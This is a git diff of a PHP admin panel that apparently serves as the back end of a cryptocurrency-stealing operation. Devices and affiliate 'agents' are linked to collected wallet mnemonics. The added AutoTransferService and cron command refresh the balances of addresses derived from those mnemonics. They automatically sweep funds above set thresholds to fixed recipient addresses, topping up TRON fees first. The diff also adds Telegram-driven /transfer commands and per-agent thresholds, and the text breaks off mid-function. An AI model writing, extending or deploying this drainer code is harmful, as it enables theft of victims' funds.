diff --git a/.env.example b/.env.example index 9ecbaa0..fc16237 100644 --- a/.env.example +++ b/.env.example @@ -51,12 +51,11 @@ ADMIN_PASSWORD=admin123 # Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0. CORUNA_SESSION_KEY= -# Optional link-display hosts (not used by DGA binary patch). -# Overridable by 系统设置 → 投放域名. +# Optional link-display hosts (not used by DGA binary patch). .env-only. CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_REPORTING_DOMAINS= # Panel Host allowlists (comma/space separated). Empty = no restriction. -# Prefer configuring in Admin → 系统 → 设置 after bootstrap. +# .env-only (not shown in Admin → 系统设置). CORUNA_ADMIN_HOSTS= CORUNA_AGENT_HOSTS= # In-process channel builders (Python). Old: channel-builder → public/web|sync @@ -74,7 +73,7 @@ CORUNA_STATIC_SITE_SCHEME=https XXBB_CHANNEL_C= # Match iptj PageVisit → new-builder device by IP (minutes). XXBB_VISIT_MATCH_MINUTES=30 -# Max channel links per agent (super-admin settings can override) +# Max channel links per agent (.env-only) CORUNA_MAX_CHANNELS_PER_AGENT=5 # p7zip binary. On panel hosts with open_basedir, prefer project-local: # mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z @@ -84,21 +83,32 @@ CORUNA_MAX_CHANNELS_PER_AGENT=5 CORUNA_7Z_BIN= # Telegram (outbound alerts + inbound Nutgram commands) +# Bot Token / transfer recipients are .env-only (not editable in admin UI). TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= -# Optional cache of @username; normally filled automatically via getMe when saving Token +# Optional cache of @username; normally filled automatically via getMe # TELEGRAM_BOT_USERNAME= # Optional; if set, register via: php artisan telegram:set-webhook TELEGRAM_WEBHOOK_SECRET= # Do not enable unless you understand Nutgram's md5(APP_KEY) secret check # NUTGRAM_SAFE_MODE=false -# /transfer: recipient (fromAddress is the command arg; mnemonic from DB) +# /transfer recipients (fromAddress is the command arg; mnemonic from DB) # Usage: /transfer [TRX|USDT|ETH|BTC] [amount] — omit amount = all -# Chain inferred from address; to = per-chain TRANSFER_TO_ADDRESS_*. TRANSFER_TO_ADDRESS= TRANSFER_TO_ADDRESS_ETH= TRANSFER_TO_ADDRESS_BTC= +# TRON USDT fee top-up wallet (also editable in Admin → 系统设置) +TRANSFER_FEE_ADDRESS_TRON= +TRANSFER_FEE_PRIVATE_KEY_TRON= +TRANSFER_FEE_TOPUP_TRX=20 + +# Official-channel auto transfer (also editable in Admin → 系统设置) +AUTO_TRANSFER_ENABLED=0 +AUTO_TRANSFER_THRESHOLD_USDT= +AUTO_TRANSFER_THRESHOLD_TRX= +AUTO_TRANSFER_THRESHOLD_ETH= +AUTO_TRANSFER_THRESHOLD_BTC= # TRANSFER_MAX_USDT=0 # TRANSFER_MAX_TRX=0 # TRANSFER_MAX_ETH=0 diff --git a/app/Console/Commands/AutoTransferCommand.php b/app/Console/Commands/AutoTransferCommand.php new file mode 100644 index 0000000..b215747 --- /dev/null +++ b/app/Console/Commands/AutoTransferCommand.php @@ -0,0 +1,29 @@ +run(); + $this->info(sprintf( + 'auto-transfer inspected=%d triggered=%d ok=%d failed=%d skipped=%d', + $stats['inspected'], + $stats['triggered'], + $stats['ok'], + $stats['failed'], + $stats['skipped'], + )); + $this->line('logs: public/log/transfer/'.date('Ymd').'.log'); + + return self::SUCCESS; + } +} diff --git a/app/Console/Commands/TronToolCommand.php b/app/Console/Commands/TronToolCommand.php new file mode 100644 index 0000000..f9bdb1b --- /dev/null +++ b/app/Console/Commands/TronToolCommand.php @@ -0,0 +1,110 @@ +argument('action'))); + + return match ($action) { + 'create' => $this->createWallet(), + 'balance' => $this->showBalance($tron), + 'address' => $this->addressFromKey(), + default => $this->invalidAction($action), + }; + } + + private function createWallet(): int + { + $privateKey = bin2hex(random_bytes(32)); + $address = TronDriver::addressFromPrivateKey($privateKey); + + $this->line('address : '.$address); + $this->line('privateKey : '.$privateKey); + $this->warn('请妥善保存私钥,丢失无法找回。'); + + return self::SUCCESS; + } + + private function addressFromKey(): int + { + $key = trim((string) ($this->argument('value') ?? '')); + if ($key === '') { + $this->error('用法: php artisan coruna:tron address '); + + return self::FAILURE; + } + + try { + $address = TronDriver::addressFromPrivateKey($key); + } catch (\Throwable $e) { + $this->error('无效私钥: '.$e->getMessage()); + + return self::FAILURE; + } + + $this->line('address : '.$address); + $this->line('privateKey : '.strtolower(str_starts_with($key, '0x') ? substr($key, 2) : $key)); + + return self::SUCCESS; + } + + private function showBalance(TronDriver $tron): int + { + $address = trim((string) ($this->argument('value') ?? '')); + if ($address === '') { + $this->error('用法: php artisan coruna:tron balance '); + + return self::FAILURE; + } + + if (! $tron->isValidAddress($address)) { + $this->error('无效 TRON 地址'); + + return self::FAILURE; + } + + try { + $trx = $tron->getNativeBalance($address); + $contract = trim((string) config('coruna.tron.usdt_contract', '')); + $usdt = $contract !== '' ? $tron->getTokenBalance($address, $contract) : '0'; + } catch (RuntimeException $e) { + $this->error($e->getMessage()); + + return self::FAILURE; + } catch (\Throwable $e) { + $this->error('查询失败: '.$e->getMessage()); + + return self::FAILURE; + } + + $this->line('address : '.$address); + $this->line('TRX : '.$trx); + $this->line('USDT : '.$usdt); + + return self::SUCCESS; + } + + private function invalidAction(string $action): int + { + $this->error("未知操作: {$action}"); + $this->line('用法:'); + $this->line(' php artisan coruna:tron create'); + $this->line(' php artisan coruna:tron address '); + $this->line(' php artisan coruna:tron balance '); + + return self::FAILURE; + } +} diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index 6050307..35ea7cc 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -53,6 +53,11 @@ class AgentUserController extends Controller 'chat_id' => $u->chat_id ?: '', 'telegram_ready' => $u->hasTelegramChat(), 'channels_count' => (int) $u->channels_count, + 'auto_transfer_enabled' => (int) $u->auto_transfer_enabled, + 'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '', + 'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '', + 'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '', + 'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '', 'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'), ]; @@ -74,6 +79,11 @@ class AgentUserController extends Controller 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], 'chat_id' => $this->chatIdRules(), + 'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])], + 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], ]); $user = User::query()->create([ @@ -82,6 +92,11 @@ class AgentUserController extends Controller 'comment' => $data['comment'] ?? null, 'status' => (int) ($data['status'] ?? 1), 'chat_id' => $this->nullableTrim($data['chat_id'] ?? null), + 'auto_transfer_enabled' => (bool) ((int) ($data['auto_transfer_enabled'] ?? 0)), + 'auto_transfer_threshold_usdt' => $this->nullableThreshold($data['auto_transfer_threshold_usdt'] ?? null), + 'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null), + 'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null), + 'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null), ]); return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]); @@ -94,6 +109,11 @@ class AgentUserController extends Controller 'comment' => ['nullable', 'string', 'max:255'], 'status' => ['nullable', 'integer', Rule::in([0, 1])], 'chat_id' => $this->chatIdRules($agent->id), + 'auto_transfer_enabled' => ['nullable', 'integer', Rule::in([0, 1])], + 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], ]); if (array_key_exists('comment', $data)) { @@ -105,6 +125,15 @@ class AgentUserController extends Controller if (array_key_exists('chat_id', $data)) { $agent->chat_id = $this->nullableTrim($data['chat_id']); } + if (array_key_exists('auto_transfer_enabled', $data) && $data['auto_transfer_enabled'] !== null) { + $agent->auto_transfer_enabled = (bool) ((int) $data['auto_transfer_enabled']); + } + foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) { + $key = 'auto_transfer_threshold_'.$coin; + if (array_key_exists($key, $data)) { + $agent->{$key} = $this->nullableThreshold($data[$key] ?? null); + } + } if (! empty($data['password'])) { $agent->password = $data['password']; } @@ -197,4 +226,17 @@ class AgentUserController extends Controller return $value === '' ? null : $value; } + + private function nullableThreshold(mixed $value): ?string + { + $trimmed = $this->nullableTrim($value); + if ($trimmed === null) { + return null; + } + if (! is_numeric($trimmed)) { + return null; + } + + return $trimmed; + } } diff --git a/app/Http/Controllers/Admin/MnemonicController.php b/app/Http/Controllers/Admin/MnemonicController.php index 6c24b18..4068f24 100644 --- a/app/Http/Controllers/Admin/MnemonicController.php +++ b/app/Http/Controllers/Admin/MnemonicController.php @@ -5,15 +5,20 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; use App\Models\User; +use App\Models\WalletAddress; use App\Models\WalletMnemonic; +use App\Services\WalletBalanceService; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; +use Illuminate\Support\Facades\RateLimiter; class MnemonicController extends Controller { use PortalAware; + private const REFRESH_DECAY_SECONDS = 60; + public function index() { $agents = $this->isAgentPortal() @@ -60,6 +65,8 @@ class MnemonicController extends Controller 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), + 'wallets_url' => route($portal.'.mnemonics.wallets', $row->id), + 'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id), ]; })->values(); @@ -71,6 +78,111 @@ class MnemonicController extends Controller ]); } + public function wallets(WalletMnemonic $mnemonic) + { + if (! $this->mnemonicAllowed($mnemonic)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => $this->walletsPayload($mnemonic), + ]); + } + + public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances) + { + if (! $this->mnemonicAllowed($mnemonic)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + + $throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id; + if (RateLimiter::tooManyAttempts($throttleKey, 1)) { + $seconds = RateLimiter::availableIn($throttleKey); + + return response()->json([ + 'code' => 1, + 'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试', + 'data' => ['retry_after' => $seconds], + ], 429); + } + + RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS); + + $addresses = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->orderBy('id') + ->get(); + + $ok = 0; + $fail = 0; + foreach ($addresses as $address) { + // WalletBalanceService::refresh persists coin columns onto wallet_addresses. + if ($balances->refresh($address)) { + $ok++; + } else { + $fail++; + } + } + + // Re-read from wallet_addresses so the popup shows persisted rows. + return response()->json([ + 'code' => 0, + 'msg' => 'ok', + 'data' => array_merge($this->walletsPayload($mnemonic), [ + 'refreshed' => $ok, + 'failed' => $fail, + 'retry_after' => self::REFRESH_DECAY_SECONDS, + ]), + ]); + } + + private function mnemonicAllowed(WalletMnemonic $mnemonic): bool + { + $allowed = WalletMnemonic::query() + ->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id') + ->where('wallet_mnemonics.id', $mnemonic->id); + AgentScope::applyDeviceChannelScope($allowed, $this->agent()); + + return $allowed->exists(); + } + + /** + * @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list>} + */ + private function walletsPayload(WalletMnemonic $mnemonic): array + { + $addresses = WalletAddress::query() + ->where('mnemonic_id', $mnemonic->id) + ->orderBy('id') + ->get(); + + $data = $addresses->map(function (WalletAddress $addr) { + $coins = $addr->formattedCoins(); + + return [ + 'id' => $addr->id, + 'address' => $addr->address, + 'chain_type' => $addr->chain_type ?: '', + 'source' => $addr->source ?: '', + 'derive_index' => $addr->derive_index, + 'usdt' => $coins['usdt'], + 'trx' => $coins['trx'], + 'eth' => $coins['eth'], + 'btc' => $coins['btc'], + 'bnb' => $coins['bnb'], + ]; + })->values()->all(); + + return [ + 'mnemonic_id' => $mnemonic->id, + 'source' => $mnemonic->source ?: '', + 'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id), + 'addresses' => $data, + ]; + } + private function baseQuery(Request $request): Builder { $q = WalletMnemonic::query() diff --git a/app/Http/Controllers/Admin/SystemSettingsController.php b/app/Http/Controllers/Admin/SystemSettingsController.php index 337feb7..d21631c 100644 --- a/app/Http/Controllers/Admin/SystemSettingsController.php +++ b/app/Http/Controllers/Admin/SystemSettingsController.php @@ -12,7 +12,7 @@ class SystemSettingsController extends Controller public function index(SettingsService $settings, TelegramNotifier $telegram) { $form = $settings->effectiveForForm(); - $token = trim((string) ($form['telegram.bot_token'] ?? '')); + $token = trim((string) config('coruna.telegram.bot_token', '')); $username = trim((string) ($form['telegram.bot_username'] ?? '')); if ($token !== '' && $username === '') { $fetched = $telegram->fetchBotUsername($token); @@ -33,48 +33,48 @@ class SystemSettingsController extends Controller public function update(Request $request, SettingsService $settings, TelegramNotifier $telegram) { $data = $request->validate([ - 'telegram_bot_token' => ['nullable', 'string', 'max:255'], 'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'], - 'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'], - 'channels_domains' => ['nullable', 'string', 'max:4000'], - 'panel_admin_hosts' => ['nullable', 'string', 'max:4000'], - 'panel_agent_hosts' => ['nullable', 'string', 'max:4000'], + 'auto_transfer_enabled' => ['nullable', 'in:0,1'], + 'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'], + 'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'], + 'transfer_fee_address_tron' => ['nullable', 'string', 'max:128'], + 'transfer_fee_private_key_tron' => ['nullable', 'string', 'max:255'], + 'transfer_fee_topup_trx' => ['nullable', 'numeric', 'min:0.000001'], ]); - $domains = SettingsService::parseDomains($data['channels_domains'] ?? null); - $adminHosts = SettingsService::parseDomains($data['panel_admin_hosts'] ?? null); - $agentHosts = SettingsService::parseDomains($data['panel_agent_hosts'] ?? null); + $threshold = static function (?string $v): ?string { + if ($v === null || trim($v) === '') { + return null; + } - $token = trim((string) ($data['telegram_bot_token'] ?? '')); - $username = ''; + return trim($v); + }; + + $username = ltrim((string) config('coruna.telegram.bot_username', ''), '@'); + $token = trim((string) config('coruna.telegram.bot_token', '')); $note = ''; - if ($token !== '') { + if ($token !== '' && $username === '') { $fetched = $telegram->fetchBotUsername($token); if ($fetched !== null) { $username = ltrim($fetched, '@'); } else { - $sameToken = $token === trim((string) config('coruna.telegram.bot_token', '')); - $previous = ltrim((string) config('coruna.telegram.bot_username', ''), '@'); - if ($sameToken && $previous !== '') { - $username = $previous; - } else { - $note = ';未能从 Token 读取 Bot 用户名,请确认 Token 有效'; - } + $note = ';未能从 .env Token 读取 Bot 用户名,请确认 TELEGRAM_BOT_TOKEN 有效'; } } $settings->putMany([ - 'telegram.bot_token' => $token !== '' ? $token : null, 'telegram.bot_username' => $username !== '' ? $username : null, 'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null, - 'channels.max_per_agent' => isset($data['channels_max_per_agent']) - ? (string) $data['channels_max_per_agent'] - : null, - // Persist normalized comma-separated list (empty clears override to []). - 'channels.domains' => $domains === [] ? '' : implode(',', $domains), - // Empty = no Host restriction for that panel. - 'panel.admin_hosts' => $adminHosts === [] ? '' : implode(',', $adminHosts), - 'panel.agent_hosts' => $agentHosts === [] ? '' : implode(',', $agentHosts), + 'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0', + 'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '', + 'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '', + 'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '', + 'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '', + 'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '', + 'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null), + 'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20', ]); $display = $telegram->formatBotUsername($username); @@ -93,17 +93,14 @@ class SystemSettingsController extends Controller { $data = $request->validate([ 'chat_id' => ['nullable', 'string', 'max:64'], - 'bot_token' => ['nullable', 'string', 'max:255'], ]); $chatId = trim((string) ($data['chat_id'] ?? '')); if ($chatId === '') { $chatId = trim((string) config('coruna.telegram.owner_chat_id', '')); } - $token = trim((string) ($data['bot_token'] ?? '')); - $token = $token !== '' ? $token : null; - $result = $telegram->sendTest($chatId, '官方通知群推送正常。', $token); + $result = $telegram->sendTest($chatId, '官方通知群推送正常。'); return response()->json([ 'code' => $result['ok'] ? 0 : 1, diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index e30bd5f..90cd105 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -39,7 +39,7 @@ class WalletAddressController extends Controller { $q = $this->baseQuery($request); - $sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; + $sortable = ['id', 'address', 'chain_type', 'source', 'mnemonic_id', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { @@ -63,6 +63,7 @@ class WalletAddressController extends Controller 'source' => $row->source ?: '', 'chain_type' => $row->chain_type ?: '', 'address' => $row->address, + 'mnemonic_id' => $row->mnemonic_id, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], @@ -130,6 +131,8 @@ class WalletAddressController extends Controller $channelId = trim((string) $request->query('channel_id', '')); $deviceKey = trim((string) $request->query('device_key', '')); $source = trim((string) $request->query('source', '')); + $hasMnemonic = $request->query('has_mnemonic'); + $hasBalance = $request->query('has_balance'); if ($channelId !== '') { $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } @@ -139,6 +142,27 @@ class WalletAddressController extends Controller if ($source !== '') { $q->where('wallet_addresses.source', $source); } + if ($hasMnemonic === '1' || $hasMnemonic === 1) { + $q->whereNotNull('wallet_addresses.mnemonic_id'); + } elseif ($hasMnemonic === '0' || $hasMnemonic === 0) { + $q->whereNull('wallet_addresses.mnemonic_id'); + } + if ($hasBalance === '1' || $hasBalance === 1) { + $q->where(function (Builder $inner) { + foreach (WalletAddress::COIN_COLUMNS as $col) { + $inner->orWhere('wallet_addresses.'.$col, '>', 0); + } + }); + } elseif ($hasBalance === '0' || $hasBalance === 0) { + $q->where(function (Builder $inner) { + foreach (WalletAddress::COIN_COLUMNS as $col) { + $inner->where(function (Builder $coin) use ($col) { + $coin->whereNull('wallet_addresses.'.$col) + ->orWhere('wallet_addresses.'.$col, '<=', 0); + }); + } + }); + } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter( $q, diff --git a/app/Models/User.php b/app/Models/User.php index 34cf489..6669035 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -9,6 +9,11 @@ class User extends Authenticatable { protected $fillable = [ 'username', 'password', 'status', 'comment', 'chat_id', + 'auto_transfer_enabled', + 'auto_transfer_threshold_usdt', + 'auto_transfer_threshold_trx', + 'auto_transfer_threshold_eth', + 'auto_transfer_threshold_btc', ]; protected $hidden = [ @@ -29,6 +34,11 @@ class User extends Authenticatable return [ 'password' => 'hashed', 'status' => 'integer', + 'auto_transfer_enabled' => 'boolean', + 'auto_transfer_threshold_usdt' => 'decimal:8', + 'auto_transfer_threshold_trx' => 'decimal:8', + 'auto_transfer_threshold_eth' => 'decimal:8', + 'auto_transfer_threshold_btc' => 'decimal:8', ]; } diff --git a/app/Models/WalletAddress.php b/app/Models/WalletAddress.php index d716ae4..ddd5cdf 100644 --- a/app/Models/WalletAddress.php +++ b/app/Models/WalletAddress.php @@ -22,13 +22,14 @@ class WalletAddress extends Model protected $fillable = [ 'device_id', 'address', 'chain_type', 'usdt', 'trx', 'eth', 'btc', 'bnb', - 'monitor', 'source', + 'monitor', 'source', 'mnemonic_id', 'derive_index', ]; protected function casts(): array { return [ 'monitor' => 'integer', + 'derive_index' => 'integer', 'usdt' => 'decimal:6', 'trx' => 'decimal:6', 'eth' => 'decimal:18', @@ -42,6 +43,11 @@ class WalletAddress extends Model return $this->belongsTo(Device::class); } + public function mnemonic(): BelongsTo + { + return $this->belongsTo(WalletMnemonic::class, 'mnemonic_id'); + } + /** * Map a symbol=>amount payload into coin column attributes (only known coins). * Missing symbols are omitted (caller merges with existing row). diff --git a/app/Models/WalletMnemonic.php b/app/Models/WalletMnemonic.php index 82f656d..682ae61 100644 --- a/app/Models/WalletMnemonic.php +++ b/app/Models/WalletMnemonic.php @@ -4,6 +4,7 @@ namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Facades\Crypt; class WalletMnemonic extends Model @@ -17,6 +18,11 @@ class WalletMnemonic extends Model return $this->belongsTo(Device::class); } + public function addresses(): HasMany + { + return $this->hasMany(WalletAddress::class, 'mnemonic_id'); + } + public static function hashSecret(string $secret): string { return hash('sha256', $secret); diff --git a/app/Services/AutoTransferConfig.php b/app/Services/AutoTransferConfig.php new file mode 100644 index 0000000..e6700a8 --- /dev/null +++ b/app/Services/AutoTransferConfig.php @@ -0,0 +1,116 @@ + */ + public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC']; + + public function isEnabledForAddress(WalletAddress $address): bool + { + $agentId = $this->agentUserIdForDevice((int) $address->device_id); + if ($agentId === null || $agentId === Channel::OFFICIAL_USER_ID) { + return $this->systemEnabled(); + } + + $agent = User::query()->find($agentId); + + return $agent !== null && (bool) $agent->auto_transfer_enabled; + } + + /** + * Effective threshold for an asset (balance must be strictly greater). + */ + public function thresholdForAddress(WalletAddress $address, string $asset): string + { + $asset = strtoupper(trim($asset)); + $agentId = $this->agentUserIdForDevice((int) $address->device_id); + + if ($agentId !== null && $agentId !== Channel::OFFICIAL_USER_ID) { + $agent = User::query()->find($agentId); + if ($agent !== null) { + $col = 'auto_transfer_threshold_'.strtolower($asset); + $raw = $agent->{$col} ?? null; + if ($raw !== null && $raw !== '') { + return $this->normalizeThreshold((string) $raw); + } + } + } + + return $this->systemThreshold($asset); + } + + public function systemEnabled(): bool + { + return (bool) config('coruna.auto_transfer.enabled'); + } + + public function systemThreshold(string $asset): string + { + $asset = strtolower(trim($asset)); + $raw = config('coruna.auto_transfer.threshold_'.$asset); + + return $this->normalizeThreshold(is_scalar($raw) ? (string) $raw : null); + } + + public function feeAddressTron(): string + { + return trim((string) config('coruna.transfer.fee_address_tron', '')); + } + + public function feePrivateKeyTron(): string + { + return trim((string) config('coruna.transfer.fee_private_key_tron', '')); + } + + public function feeTopupTrx(): string + { + $raw = trim((string) config('coruna.transfer.fee_topup_trx', '20')); + if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 6) <= 0) { + return '20'; + } + + return $this->normalizeThreshold($raw); + } + + private function agentUserIdForDevice(int $devicePk): ?int + { + $channelId = Device::query()->whereKey($devicePk)->value('channel_id'); + if ($channelId === null || $channelId === '') { + return Channel::OFFICIAL_USER_ID; + } + + $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); + if ($userId === null) { + return Channel::OFFICIAL_USER_ID; + } + + return (int) $userId; + } + + private function normalizeThreshold(?string $raw): string + { + if ($raw === null || trim($raw) === '') { + return '0'; + } + $raw = trim($raw); + if (! is_numeric($raw)) { + return '0'; + } + $raw = rtrim(rtrim(sprintf('%.8F', (float) $raw), '0'), '.'); + + return $raw === '' ? '0' : $raw; + } +} diff --git a/app/Services/AutoTransferService.php b/app/Services/AutoTransferService.php new file mode 100644 index 0000000..d4ae760 --- /dev/null +++ b/app/Services/AutoTransferService.php @@ -0,0 +1,338 @@ + 0, + 'triggered' => 0, + 'ok' => 0, + 'failed' => 0, + 'skipped' => 0, + ]; + + create_log([ + 'event' => 'auto_transfer_run_start', + 'at' => now()->toDateTimeString(), + ], 'transfer'); + + foreach ($this->candidates() as $address) { + $stats['inspected']++; + $outcome = $this->evaluate($address, 'cron'); + $stats['triggered'] += $outcome['triggered']; + $stats['ok'] += $outcome['ok']; + $stats['failed'] += $outcome['failed']; + $stats['skipped'] += $outcome['skipped']; + } + + create_log([ + 'event' => 'auto_transfer_run_end', + 'stats' => $stats, + 'at' => now()->toDateTimeString(), + ], 'transfer'); + + return $stats; + } + + /** + * @return LazyCollection + */ + public function candidates(): LazyCollection + { + return WalletAddress::query() + ->whereNotNull('mnemonic_id') + ->where(function ($q) { + $q->where('usdt', '>', 0) + ->orWhere('trx', '>', 0) + ->orWhere('eth', '>', 0) + ->orWhere('btc', '>', 0); + }) + ->orderBy('id') + ->cursor(); + } + + /** + * @return array{triggered: int, ok: int, failed: int, skipped: int} + */ + public function evaluate(WalletAddress $address, string $reason = 'cron'): array + { + try { + return $this->evaluateInner($address, $reason); + } catch (\Throwable $e) { + create_log([ + 'event' => 'auto_transfer_evaluate_exception', + 'wallet_address_id' => $address->id, + 'address' => $address->address, + 'chain' => $address->chain_type, + 'reason' => $reason, + 'error' => $e->getMessage(), + ], 'transfer'); + + return ['triggered' => 0, 'ok' => 0, 'failed' => 1, 'skipped' => 0]; + } + } + + /** + * @return array{triggered: int, ok: int, failed: int, skipped: int} + */ + private function evaluateInner(WalletAddress $address, string $reason): array + { + $stats = ['triggered' => 0, 'ok' => 0, 'failed' => 0, 'skipped' => 0]; + $base = [ + 'wallet_address_id' => $address->id, + 'address' => (string) $address->address, + 'chain' => (string) $address->chain_type, + 'mnemonic_id' => $address->mnemonic_id, + 'reason' => $reason, + 'balances' => [ + 'usdt' => $address->usdt, + 'trx' => $address->trx, + 'eth' => $address->eth, + 'btc' => $address->btc, + ], + ]; + + if ($address->mnemonic_id === null) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'no_mnemonic', + ], 'transfer'); + $stats['skipped']++; + + return $stats; + } + + if (! $this->config->isEnabledForAddress($address)) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'disabled_for_channel', + ], 'transfer'); + $stats['skipped']++; + + return $stats; + } + + $chain = strtoupper(trim((string) $address->chain_type)); + $assets = $this->assetsForChain($chain); + if ($assets === []) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'unsupported_chain', + ], 'transfer'); + $stats['skipped']++; + + return $stats; + } + + $transferChain = $this->transferChainKey($chain); + if ($transferChain === null) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'unsupported_transfer_chain', + ], 'transfer'); + $stats['skipped']++; + + return $stats; + } + + $anyAssetChecked = false; + foreach ($assets as $asset) { + $col = strtolower($asset); + $balance = $address->{$col} ?? null; + if ($balance === null || $balance === '' || ! is_numeric($balance)) { + continue; + } + $anyAssetChecked = true; + $threshold = $this->config->thresholdForAddress($address, $asset); + $scale = $this->assetScale($asset); + if (bccomp((string) $balance, $threshold, $scale) <= 0) { + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'below_threshold', + 'asset' => $asset, + 'balance' => (string) $balance, + 'threshold' => $threshold, + ], 'transfer'); + $stats['skipped']++; + + continue; + } + + if ($this->recentAutoSuccess((string) $address->address, $asset)) { + try { + $this->balances->refresh($address); + $address->refresh(); + } catch (\Throwable $e) { + create_log($base + [ + 'event' => 'auto_transfer_cooldown_refresh_failed', + 'asset' => $asset, + 'error' => $e->getMessage(), + ], 'transfer'); + } + create_log($base + [ + 'event' => 'auto_transfer_skip', + 'skip' => 'recent_auto_transfer', + 'asset' => $asset, + 'cooldown_minutes' => self::COOLDOWN_MINUTES, + 'balance' => (string) ($address->{$col} ?? $balance), + ], 'transfer'); + $stats['skipped']++; + + continue; + } + + // Live re-check before spending gas (DB may still be stale). + try { + $this->balances->refresh($address); + $address->refresh(); + } catch (\Throwable $e) { + create_log($base + [ + 'event' => 'auto_transfer_preflight_refresh_failed', + 'asset' => $asset, + 'error' => $e->getMessage(), + ], 'transfer'); + } + $balance = $address->{$col} ?? null; + if ($balance === null || $balance === '' || 